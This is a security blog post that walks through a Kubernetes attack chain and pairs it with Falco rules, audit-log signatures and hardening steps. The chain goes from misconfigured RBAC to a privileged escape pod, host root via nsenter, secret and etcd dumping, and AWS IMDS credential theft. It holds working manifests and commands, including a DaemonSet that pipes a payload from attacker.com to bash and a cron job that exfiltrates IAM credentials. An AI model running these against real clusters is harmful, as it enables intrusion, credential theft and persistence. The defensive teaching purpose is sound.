TL;DR — Kubernetes RBAC is frequently misconfigured in ways that grant attackers a direct path from a compromised pod to full cluster ownership and, in cloud environments, to underlying cloud provider credentials. This post dissects the most impactful RBAC misconfigurations — wildcard roles, create-pod privilege escalation, and ClusterWide secret enumeration — chains them through container escape to node-level compromise, and extends the attack to AWS IAM role theft via the EC2 Instance Metadata Service. Every stage is accompanied by working kubectl commands, exploit manifests, and the Falco rules and audit log signatures that defenders should wire up before a red team gets there first.
Executive Summary
Kubernetes has won the container orchestration wars. It also ships with an authorization model that is deceptively easy to misconfigure and catastrophically easy to abuse once it is. The Role-Based Access Control (RBAC) subsystem looks clean on paper — Roles, ClusterRoles, RoleBindings, ClusterRoleBindings, ServiceAccounts — but the blast radius of a single wildcard verb or a carelessly mounted ServiceAccount token reaches far beyond the namespace a developer imagined when they wrote it.
The attack surface is not theoretical. The Azurescape vulnerability (2021) demonstrated cross-tenant container escape in Azure Container Instances. Tesla's Kubernetes dashboard was exposed to the internet without authentication in 2018, leading to cryptominer deployment. The Capital One breach, while primarily an SSRF issue, highlighted how IMDS access from within a container translates directly to cloud credential theft — the same mechanic described in this post's attack chain.
This post covers the Kubernetes security model from first principles, then walks through a complete attack chain: initial access via a misconfigured RBAC role, privilege escalation through pod creation, container escape to the underlying node, and lateral movement to AWS using the node's EC2 IAM instance profile. Detection coverage using Falco runtime security and Kubernetes audit logs is addressed in detail at the close.
Before diving into attacks, understanding the full authorization pipeline is essential. Every API request to the kube-apiserver passes through this chain:
graph LR
A[kubectl / API Client] --> B[Authentication\nX.509 / Bearer Token / OIDC]
B --> C[Authorization\nRBAC / ABAC / Webhook]
C --> D[Admission Control\nOPA/Gatekeeper / Kyverno / PSA]
D --> E[etcd / Object Store]
E --> F[Resource Created]Authentication establishes identity — a human user, a ServiceAccount, or a node. Authorization, via RBAC, determines whether that identity may perform a given verb on a given resource. Admission controllers are the last gate, enforcing policy on what gets written. Attackers who can satisfy authentication and authorization can often bypass admission controllers entirely by targeting existing workloads rather than creating new ones.
RBAC Object Model
| Object | Scope | Function |
|---|---|---|
| Role | Namespaced | Grants verbs on resources within one namespace |
| ClusterRole | Cluster-wide | Grants verbs on cluster-scoped or all-namespace resources |
| RoleBinding | Namespaced | Binds a Role or ClusterRole to a subject within a namespace |
| ClusterRoleBinding | Cluster-wide | Binds a ClusterRole to a subject across all namespaces |
| ServiceAccount | Namespaced | Identity for pods; token automounted at /var/run/secrets/kubernetes.io/serviceaccount/ |
The attack surface lives in the relationships between these objects, particularly when ClusterRoles are used where Roles would suffice, and when subjects are granted * verbs.
Common RBAC Misconfigurations and Their Blast Radius
Wildcard Resources and Verbs
The most dangerous pattern is a ClusterRole with wildcard resources and verbs, frequently found in monitoring stacks, operators, and CI/CD service accounts that needed "just enough access" during development and never got scoped down.
# Vulnerable: Effectively grants cluster-adminapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: over-privileged-monitoringrules:- apiGroups: ["*"] resources: ["*"] verbs: ["*"]Any ServiceAccount bound to this ClusterRole can create privileged pods, read all Secrets cluster-wide, modify any workload, and escalate to node compromise. Discovery is trivial:
# Enumerate all ClusterRoles with wildcard verbskubectl get clusterroles -o json | jq -r ' .items[] | select(.rules[]? | (.verbs[]? == "*") or (.resources[]? == "*")) | .metadata.name' # Find who is bound to a suspicious ClusterRolekubectl get clusterrolebindings -o json | jq -r ' .items[] | select(.roleRef.name == "over-privileged-monitoring") | .subjects[]' # Use kubectl-who-can for direct querieskubectl who-can create pods --all-namespaceskubectl who-can get secrets --all-namespaceskubectl who-can list secrets -n kube-systemCreate Pod → Privileged Pod Escape
The ability to create pods in any namespace with a permissive or absent PodSecurity policy is itself a privilege escalation primitive. An attacker with pods/create can spawn a privileged pod that mounts the host filesystem, injects into the host process namespace, or binds to the host network stack.
# Privileged escape pod manifestapiVersion: v1kind: Podmetadata: name: pwn-node namespace: defaultspec: hostPID: true hostNetwork: true hostIPC: true tolerations: - operator: "Exists" # Schedule on any node, including masters containers: - name: pwn image: ubuntu:22.04 command: ["/bin/bash", "-c", "sleep 99999"] securityContext: privileged: true allowPrivilegeEscalation: true volumeMounts: - name: host-root mountPath: /host - name: host-cron mountPath: /host-cron volumes: - name: host-root hostPath: path: / - name: host-cron hostPath: path: /etc/cron.d restartPolicy: NeverOnce the pod is running, escape to the host node is a single nsenter call:
# Deploy the escape podkubectl apply -f pwn-node.yaml # Wait for it to be runningkubectl wait pod/pwn-node --for=condition=Ready --timeout=60s # Get a shell, then escape to the host via nsenterkubectl exec -it pwn-node -- nsenter -t 1 -m -u -i -n -p -- bash # Now on the host node:id # roothostname # node hostnamecat /etc/shadow # host shadow filels /var/lib/kubelet/pods/ # all pod volumes on this nodeThe nsenter -t 1 technique works because hostPID: true exposes the host PID namespace, making PID 1 (the host init process) visible from within the container. nsenter then enters all of its namespaces, effectively giving a root shell on the host.
Exec Into Existing Pod
A subtler escalation requiring only pods/exec rather than pod creation. If a target pod runs a privileged container or is on a sensitive node, exec is sufficient:
# Find privileged podskubectl get pods -A -o json | jq -r ' .items[] | select( .spec.containers[]?.securityContext?.privileged == true or .spec.hostPID == true ) | "\(.metadata.namespace)/\(.metadata.name)"' # Exec into privileged podkubectl exec -n kube-system -it <privileged-pod> -- bash # From inside, escape via nsenter or read host secretscat /host/etc/shadowchroot /host bashClusterWide Secret Enumeration
The ability to list or get Secrets at the cluster level is routinely granted to operators and CI/CD pipelines. This exposes every application credential, TLS certificate, image pull secret, and cloud provider credential stored in the cluster:
# Enumerate all secrets cluster-widekubectl get secrets -A -o json | jq -r ' .items[] | "\(.metadata.namespace)\t\(.metadata.name)\t\(.type)"' # Decode a specific secret valuekubectl get secret db-credentials -n production -o json | \ jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"' # Find secrets with embedded cloud credentialskubectl get secrets -A -o json | jq -r ' .items[].data // {} | to_entries[] | select(.value | @base64d | test("AKIA|sk-|password|passwd|secret"; "i")) | "\(.key): \(.value | @base64d)"'ServiceAccount Token Theft and Abuse
Every pod receives a ServiceAccount token automounted at a well-known path unless explicitly disabled. Attackers with exec access, or who have compromised application code running in a pod, can steal this token and make direct API calls to the kube-apiserver.
# From inside a pod — read the mounted ServiceAccount tokenSA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)SA_CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crtSA_NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) # Query the API server directly with the stolen tokenAPISERVER=https://kubernetes.default.svccurl -s --cacert $SA_CA \ -H "Authorization: Bearer $SA_TOKEN" \ $APISERVER/api/v1/namespaces/$SA_NS/secrets | \ jq -r '.items[].metadata.name' # Check what the token can docurl -s --cacert $SA_CA \ -H "Authorization: Bearer $SA_TOKEN" \ -H "Content-Type: application/json" \ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets"}}}' \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews | \ jq '.status.allowed'Projected token volumes (bound service account tokens) introduce expiry — but the default 1-hour lifetime is still more than enough for an in-session attack, and many clusters still use the legacy automounting mode that produces non-expiring tokens.
etcd Direct Access: The Nuclear Option
etcd is the backing store for all Kubernetes state, including Secrets. If etcd is accessible — either because it lacks client certificate authentication, or because an attacker has obtained the etcd client certificates from the control plane node — every secret in the cluster can be read directly, bypassing RBAC entirely.
# Check for unauthenticated etcd exposure (from inside the cluster or on the network)curl -s http://<etcd-endpoint>:2379/v2/keys?recursive=true # With etcdctl and stolen certificatesETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/server.crt \ --key=/etc/kubernetes/pki/etcd/server.key \ get / --prefix --keys-only | grep secrets # Extract and decode a specific secretETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/server.crt \ --key=/etc/kubernetes/pki/etcd/server.key \ get /registry/secrets/production/db-credentials | \ strings | grep -A5 "password\|token\|key"Kubernetes supports Encryption at Rest for etcd (via EncryptionConfiguration), but many clusters do not enable it, and even when enabled, the encryption key is often stored on the same control plane nodes whose filesystem the attacker already has access to.
Container Escape to Node: Full Attack Chain
The following diagram illustrates the complete node escape and lateral movement chain:
graph TD
A[Initial Access\nCompromised App Pod OR\nMisconfigured RBAC SA] --> B[Enumerate RBAC Permissions\nkubectl auth can-i --list]
B --> C{Can create pods?}
C -->|Yes| D[Deploy Privileged Pod\nhostPID + hostNetwork +\nprivileged: true]
C -->|No| E{Can exec into\nexisting pod?}
E -->|Yes| F[Find Privileged Pod\nExec Into It]
D --> G[nsenter -t 1 -m -u -i -n -p\nEscape to Host Node]
F --> G
G --> H[Host Node Root Access]
H --> I[Steal kubelet credentials\n/var/lib/kubelet/config.yaml]
H --> J[Read all pod secrets\n/var/lib/kubelet/pods/]
H --> K[hostPath to /etc/cron.d\nPersistence]
H --> L[Query IMDS for IAM Role\ncurl 169.254.169.254]
L --> M[AWS Credential Theft\nAccess Key + Secret + Token]
M --> N[AWS Lateral Movement\nEC2 / S3 / IAM enumeration]Node IAM Role Abuse via IMDS (EKS)
On Amazon EKS, nodes run as EC2 instances with attached IAM instance profiles. These profiles are often over-permissioned — either intentionally (for legacy workloads) or because the node group IAM role was modeled after the example policies in AWS documentation that include unnecessary permissions. From a compromised node, the Instance Metadata Service is directly accessible:
# From the host node after escape — query IMDS# IMDSv1 (no token required — common on older EKS node groups)curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/# Returns: eks-node-group-role curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-group-role# Returns temporary AWS credentials# {# "Code": "Success",# "LastUpdated": "2024-01-15T10:30:00Z",# "Type": "AWS-HMAC",# "AccessKeyId": "ASIA...",# "SecretAccessKey": "...",# "Token": "...",# "Expiration": "2024-01-15T16:30:00Z"# } # Configure stolen credentialsexport AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxxexport AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxexport AWS_SESSION_TOKEN=xxxxxxxxxxxxxxxx # Enumerate what the node role can accessaws sts get-caller-identityaws s3 lsaws iam list-attached-role-policies --role-name eks-node-group-roleaws ec2 describe-instances --region us-east-1From a pod (before node escape), the path is the same but requires that the pod is not configured with an IRSA (IAM Roles for Service Accounts) annotation that would restrict IMDS access. VPC CNI and kube-proxy pods on EKS nodes have historically been able to reach IMDS, making them high-value targets for exec escalation.
DaemonSet Abuse for Node-Wide Execution
An attacker with permission to create DaemonSets achieves code execution on every node in the cluster simultaneously — a particularly destructive capability for ransomware operators or APTs establishing persistent foothold:
# Deploy a malicious DaemonSet that runs on every nodecat <<'EOF' | kubectl apply -f -apiVersion: apps/v1kind: DaemonSetmetadata: name: node-agent namespace: kube-systemspec: selector: matchLabels: app: node-agent template: metadata: labels: app: node-agent spec: hostPID: true hostNetwork: true tolerations: - operator: "Exists" containers: - name: agent image: ubuntu:22.04 command: - /bin/bash - -c - | nsenter -t 1 -m -- bash -c \ 'curl -s https://attacker.com/payload.sh | bash' securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: /EOFhostPath Persistence to /etc/cron.d
With the host filesystem mounted, planting persistence is straightforward:
# From inside the privileged pod with hostPath mounted at /hostcat > /host/etc/cron.d/k8s-health-check << 'EOF'* * * * * root curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | \ xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} | \ curl -s -X POST https://attacker.com/exfil -d @-EOFchmod 644 /host/etc/cron.d/k8s-health-checkkube-apiserver Anonymous Access
A surprising number of clusters — particularly self-managed ones — expose the kube-apiserver with anonymous access enabled. This allows unauthenticated API calls that RBAC rules for the system:anonymous user permit:
# Test for anonymous accesscurl -sk https://<apiserver>:6443/api/v1/namespaces/ # kube-hunter automated discoverydocker run -it --rm aquasec/kube-hunter --remote <cluster-ip> # Check anonymous RBAC bindings in a cluster you're already inkubectl get clusterrolebindings -o json | jq -r ' .items[] | select(.subjects[]? | .name == "system:anonymous" or .name == "system:unauthenticated") | "\(.metadata.name) -> \(.roleRef.name)"'Offensive Tooling Reference
| Tool | Primary Use | Key Capability |
|---|---|---|
| kube-hunter | External/internal cluster scanning | Identifies exposed APIs, anonymous access, privileged containers |
| kube-bench | CIS Kubernetes Benchmark compliance | Flags RBAC misconfigs, audit logging gaps, TLS weaknesses |
| peirates | Kubernetes penetration testing framework | ServiceAccount token abuse, secret enumeration, IAM role theft |
| kubectl-who-can | RBAC enumeration | "Who can perform verb X on resource Y?" |
| rbac-police | RBAC analysis | Identifies escalation paths in RBAC configurations |
| Kubeletctl | Kubelet API exploitation | Unauthenticated kubelet exec, container listing |
# peirates: comprehensive SA token exploitation./peirates # kubectl-who-can exampleskubectl who-can create podskubectl who-can get secrets -n productionkubectl who-can impersonate users # kube-bench against a running clusterkubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yamlkubectl logs job/kube-benchAttack Chain: End-to-End Summary
A representative engagement follows this path:
- Initial Foothold: Exploit an SSRF or RCE vulnerability in an application pod in the
defaultnamespace. - SA Token Theft: Read
/var/run/secrets/kubernetes.io/serviceaccount/token. - RBAC Enumeration: The application SA has a
ClusterRoleBindingto aClusterRolewithpods: [create, list]andsecrets: [get, list](common for operators). - Secret Exfiltration: Dump all secrets cluster-wide — find database passwords, API keys, and an AWS access key stored as a Secret.
- Privileged Pod Creation: Deploy the escape manifest above, targeting a specific node with
nodeSelector. - Node Escape:
nsenterinto host namespace, achieving root on the EC2 node. - IMDS Credential Theft: Query IMDSv1, obtain EKS node IAM role credentials.
- AWS Lateral Movement: Node role has
ec2:DescribeInstances,s3:GetObjecton a wildcard bucket, andsecretsmanager:GetSecretValue. Exfiltrate RDS credentials from Secrets Manager, access S3 data lake.
Detection and Mitigation
Falco Runtime Security Rules
Falco monitors Linux system calls and can detect container escape attempts in real time:
# /etc/falco/rules.d/k8s-attacks.yaml # Detect nsenter from container- rule: Container Escape via nsenter desc: Detect nsenter used to escape container namespace condition: > spawned_process and container and proc.name = "nsenter" and (proc.args contains "-t 1" or proc.args contains "--target 1") output: > Potential container escape via nsenter (user=%user.name container=%container.name image=%container.image.repository cmd=%proc.cmdline ns=%proc.nss) priority: CRITICAL tags: [container, escape, mitre_privilege_escalation] # Detect IMDS access from container- rule: IMDS Access from Container desc: Detect access to EC2 Instance Metadata Service from within a container condition: > outbound and container and fd.sip = "169.254.169.254" output: > IMDS access from container (pod=%k8s.pod.name ns=%k8s.ns.name image=%container.image.repository user=%user.name) priority: HIGH tags: [container, aws, credential_access] # Detect sensitive file read from pod- rule: Read Sensitive Host File from Container desc: Detect reading of sensitive host files from within a container condition: > open_read and container and (fd.name startswith "/host/etc/shadow" or fd.name startswith "/host/etc/kubernetes" or fd.name startswith "/host/var/lib/kubelet") output: > Sensitive host file read from container (file=%fd.name container=%container.name image=%container.image.repository) priority: HIGHKubernetes Audit Log Signatures
The following audit log patterns indicate active exploitation:
# Query for suspicious API calls (assuming audit logs in CloudWatch or Elasticsearch)# Privileged pod creation{ "verb": "create", "objectRef.resource": "pods", "requestObject.spec.containers[*].securityContext.privileged": true} # ClusterWide secret listing by non-admin SA{ "verb": "list", "objectRef.resource": "secrets", "user.username": "system:serviceaccount:default:*"} # Anonymous API access{ "user.username": "system:anonymous"}Hardening Checklist
| Control | Implementation |
|---|---|
| Disable SA token automounting | automountServiceAccountToken: false in pod spec |
| Use IRSA (EKS) | Replace node IAM role with per-pod IRSA; block IMDS from pods with hopLimit: 1 |
| Enable IMDSv2 | Set HttpTokens: required on all EC2 instances in node groups |
| Pod Security Admission | Enable restricted profile in production namespaces |
| OPA/Gatekeeper policies | Deny privileged: true, hostPID, hostNetwork in production |
| etcd encryption at rest | Configure EncryptionConfiguration with AES-GCM or KMS |
| Audit logging | Enable with RequestResponse level; ship to SIEM |
| Network policies | Default-deny all ingress/egress; explicit allow required |
| RBAC least privilege | Audit with rbac-police; replace * verbs with explicit lists |
| Falco on every node | Runtime syscall monitoring; alert on namespace escape patterns |
# Verify encryption at rest is configuredkubectl get apiserver cluster -o json | \ jq '.spec.encryption' # Check for automounted tokens in productionkubectl get pods -n production -o json | \ jq -r '.items[] | select(.spec.automountServiceAccountToken != false) | .metadata.name' # Verify IMDSv2 is enforced on EKS node groups (AWS CLI)aws ec2 describe-instances \ --filters "Name=tag:eks:cluster-name,Values=<cluster>" \ --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \ --output tableConclusion
Kubernetes RBAC is a capable authorization model, but its defaults — automounted ServiceAccount tokens, permissive ClusterRole templates, and absence of mandatory Pod Security policies in many versions — create an environment where a single compromised pod or insider threat can pivot to cluster-wide compromise and beyond. The attack chain from RBAC misconfiguration to AWS credential theft is not exotic; it is a routine finding on Kubernetes-focused red team engagements.
The defensive posture must be layered: restrict RBAC to explicit, least-privilege roles; enforce Pod Security Admission at the restricted level in production namespaces; deploy Falco for runtime syscall monitoring; enable Kubernetes audit logging and ship it to a SIEM that has rules for the patterns described above; and treat etcd as the crown jewel it is — encrypted, TLS-authenticated, and network-isolated. In EKS environments, IMDSv2 with a hop limit of 1 is non-negotiable, and IRSA should replace node IAM roles wherever possible.
The tools referenced — kube-hunter, kube-bench, peirates, kubectl-who-can — should be part of every internal security team's continuous assessment toolkit, not just a red team's engagement kit. The attack surface is well-documented. The question is whether the defenders find the misconfiguration before the attacker does.